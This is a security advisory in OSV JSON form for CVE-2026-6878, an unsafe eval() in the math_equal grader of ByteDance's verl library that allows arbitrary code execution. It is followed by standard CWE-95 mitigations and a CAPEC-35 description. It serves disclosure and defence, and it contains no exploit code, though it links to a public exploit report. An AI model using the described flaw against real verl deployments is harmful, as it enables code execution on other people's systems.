Vulnerability from github – Published: 2026-04-23 00:31 – Updated: 2026-04-30 20:52A vulnerability was identified in ByteDance verl up to 0.7.1. Affected is the function math_equal of the file prime_math/grader.py. The manipulation leads to a sandbox issue. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit is publicly available and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "verl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6878"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T20:52:35Z",
"nvd_published_at": "2026-04-23T00:16:47Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in ByteDance verl up to 0.7.1. Affected is the function math_equal of the file prime_math/grader.py. The manipulation leads to a sandbox issue. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit is publicly available and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-h57c-v2v3-5v3v",
"modified": "2026-04-30T20:52:35Z",
"published": "2026-04-23T00:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6878"
},
{
"type": "PACKAGE",
"url": "https://github.com/verl-project/verl"
},
{
"type": "WEB",
"url": "https://github.com/verl-project/verl/blob/v0.7.1/verl/utils/reward_score/prime_math/grader.py"
},
{
"type": "WEB",
"url": "https://github.com/zast-ai/vulnerability-reports/blob/main/bytedance/verl_rce.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/795257"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359040"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359040/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "verl\u0027s math_equal() Vulnerable to Arbitrary Code Execution via Unsafe eval()"
}
Mitigation
Strategy: Refactoring
If possible, refactor your code so that it does not need to use eval() at all.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.